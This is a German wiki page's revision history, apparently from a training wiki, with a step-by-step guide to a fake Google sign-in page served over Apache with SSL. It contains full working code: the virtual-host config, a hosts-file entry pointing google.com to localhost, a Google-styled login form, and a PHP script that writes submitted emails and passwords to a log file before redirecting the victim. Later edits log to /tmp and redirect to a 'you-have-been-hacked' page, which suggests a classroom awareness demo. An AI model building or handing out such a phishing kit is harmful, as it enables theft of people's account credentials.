Google.com - Versionsgeschichte

Thomas.will: /* HTML + PHP bereitstellen */

2025-05-21T09:10:15Z

HTML + PHP bereitstellen

Thomas.will: /* Apache für SSL konfigurieren */

2025-05-21T09:06:40Z

Apache für SSL konfigurieren

Thomas.will: /* Voraussetzungen */

2025-05-21T09:03:07Z

Voraussetzungen

Thomas.will: /* HTML + PHP bereitstellen */

2025-05-20T18:34:06Z

HTML + PHP bereitstellen

Thomas.will: /* HTML + PHP bereitstellen */

2025-05-20T18:33:15Z

HTML + PHP bereitstellen

Thomas.will am 20. Mai 2025 um 18:29 Uhr

2025-05-20T18:29:39Z

Thomas.will: Die Seite wurde neu angelegt: „= Fake-Google-Login mit Apache, SSL und PHP-Logging = == Ziel == * TLS-geschützte Fake-Loginseite * Sieht aus wie Google * Loggt E-Mail + Passwort in Datei *…“

2025-05-20T18:03:25Z

Die Seite wurde neu angelegt: „= Fake-Google-Login mit Apache, SSL und PHP-Logging = == Ziel == * TLS-geschützte Fake-Loginseite * Sieht aus wie Google * Loggt E-Mail + Passwort in Datei *…“

Neue Seite

= Fake-Google-Login mit Apache, SSL und PHP-Logging =

== Ziel ==
* TLS-geschützte Fake-Loginseite
* Sieht aus wie Google
* Loggt E-Mail + Passwort in Datei
* Kein nginx, kein SET, kein Frickel

== Voraussetzungen ==
* Zertifikate vorhanden:
** /etc/apache2/google.com.fullchain.crt
** /etc/apache2/google.com.key

* Apache & PHP installiert:
apt install apache2 php libapache2-mod-php -y

== Apache für SSL konfigurieren ==

*Datei bearbeiten:
vi /etc/apache2/sites-available/000-default.conf

*Inhalt ersetzen:

<pre>
<VirtualHost *:443>
ServerName google.com
DocumentRoot /var/www/html

SSLEngine on
SSLCertificateFile /etc/apache2/google.com.fullchain.crt
SSLCertificateKeyFile /etc/apache2/google.com.key

<Directory /var/www/html>
Options Indexes FollowSymLinks
AllowOverride None
Require all granted
</Directory>
</VirtualHost>
</pre>

*SSL-Modul aktivieren:
a2enmod ssl

*Apache neu starten:
systemctl restart apache2

== Hosts-Datei anpassen ==
*Auf dem Client:
echo "127.0.0.1 google.com" >> /etc/hosts

== HTML + PHP bereitstellen ==
*Verzeichnis: /var/www/html

*index.html:
<pre>
<!DOCTYPE html>
<html>
<head>
<title>Sign in – Google Accounts</title>
<meta charset="utf-8">
<style>
body { font-family: Arial, sans-serif; background: #f2f2f2; text-align: center; }
.login-box {
background: white; padding: 20px; margin: 100px auto;
width: 300px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.2);
}
.logo { width: 100px; margin-bottom: 10px; }
input, button {
width: 90%; padding: 10px; margin: 10px 0;
border: 1px solid #ccc; border-radius: 4px;
}
button { background: #1a73e8; color: white; border: none; }
</style>
</head>
<body>
<div class="login-box">
<img src="logo.png" class="logo">
<h2>Sign in</h2>
<form action="harvest.php" method="POST">
<input type="text" name="email" placeholder="Email" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Sign in</button>
</form>
</div>
</body>
</html>
</pre>

*harvest.php:
<pre>
<?php
file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
header("Location: https://www.google.com");
exit;
?>
</pre>

*Logo (optional):
** logo.png → z. B. von SET exportieren oder Screenshot nehmen

== Test ==
* Aufruf im Browser:
https://google.com

→ Seite erscheint
→ Eingabe wird geloggt in /var/www/html/log.txt
→ Weiterleitung zu echter Google-Seite

@@ Zeile 52: / Zeile 52: @@
 *Datei erstellen
   touch log.txt
-  chown www-data:www-dats log.txt
+  chown www-data:www-data log.txt
 *index.html:

@@ Zeile 24: / Zeile 24: @@
 <pre>
 <VirtualHost *:443>
-     ServerName google.com
+     ServerName www.google.com
      DocumentRoot /var/www/html
      SSLEngine on
-     SSLCertificateFile /etc/apache2/google.com.fullchain.crt
+     SSLCertificateFile /etc/apache2/star.google.com.fullchain.crt
-     SSLCertificateKeyFile /etc/apache2/google.com.key
+     SSLCertificateKeyFile /etc/apache2/star.google.com.key
      <Directory /var/www/html>

@@ Zeile 9: / Zeile 9: @@
 == Voraussetzungen ==
 * Zertifikate vorhanden:
-** /etc/apache2/google.com.fullchain.crt
+** /etc/apache2/star.google.com.fullchain.crt
-** /etc/apache2/google.com.key
+** /etc/apache2/star.google.com.key
 * Apache und PHP installiert:

@@ Zeile 50: / Zeile 50: @@
 == HTML + PHP bereitstellen ==
 *Verzeichnis: /var/www/html
 *index.html:

@@ Zeile 132: / Zeile 132: @@
 <pre>
 <?php
-file_put_contents("/tmp/xlog.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
+file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
 header("Location: https://you-have-been-hacked.xinux.de/");
 exit;
 ?>
 </pre>

@@ Zeile 3: / Zeile 3: @@
 == Ziel ==
 * TLS-geschützte Fake-Loginseite
-* Sieht aus wie Google
+* Täuschend echtes Google-Layout
-* Loggt E-Mail + Passwort in Datei
+* Loggt E-Mail + Passwort nach /tmp/
 * Kein nginx, kein SET, kein Frickel
@@ Zeile 12: / Zeile 12: @@
 ** /etc/apache2/google.com.key
-* Apache & PHP installiert:
+* Apache und PHP installiert:
   apt install apache2 php libapache2-mod-php -y
@@ Zeile 46: / Zeile 46: @@
 == Hosts-Datei anpassen ==
   echo "127.0.0.1 google.com" >> /etc/hosts
@@ Zeile 60: / Zeile 59: @@
    <meta charset="utf-8">
    <style>
-     body { font-family: Arial, sans-serif; background: #f2f2f2; text-align: center; }
+     body {
-    .login-box {
+      background-color: #f2f2f2;
-       background: white; padding: 20px; margin: 100px auto;
+      font-family: Arial, sans-serif;
-       width: 300px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.2);
+      margin: 0;
+     }
-     .logo { width: 100px; margin-bottom: 10px; }
+    .container {
-     input, button {
+      background-color: #fff;
-       width: 90%; padding: 10px; margin: 10px 0;
+      padding: 48px 40px 36px;
-       border: 1px solid #ccc; border-radius: 4px;
+      border-radius: 8px;
+     }
    </style>
 </head>
 <body>
-   <div class="login-box">
+   <div class="container">
-     <img src="logo.png" class="logo">
+     <img src="logo.png" class="logo" alt="Google">
-     <h2>Sign in</h2>
+     <h1>Sign in</h1>
      <form action="harvest.php" method="POST">
        <input type="text" name="email" placeholder="Email" required>
@@ Zeile 90: / Zeile 132: @@
 <pre>
 <?php
-file_put_contents("log.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
+file_put_contents("/tmp/xlog.txt", date("c") . " | " . $_POST['email'] . " | " . $_POST['password'] . "\n", FILE_APPEND);
-header("Location: https://www.google.com");
+header("Location: https://you-have-been-hacked.xinux.de/");
 exit;
 ?>
 </pre>
-*Logo (optional):
+*Logo:
-** logo.png → z. B. von SET exportieren oder Screenshot nehmen
+** Datei: /var/www/html/logo.png
 == Test ==
-* Aufruf im Browser:
+*Im Browser aufrufen:
   https://google.com
 → Seite erscheint
-→ Eingabe wird geloggt in /var/www/html/log.txt
+→ Eingaben werden in /tmp/xlog.txt geschrieben
-→ Weiterleitung zu echter Google-Seite
+→ Weiterleitung zur echten (oder Fake-)Google-Seite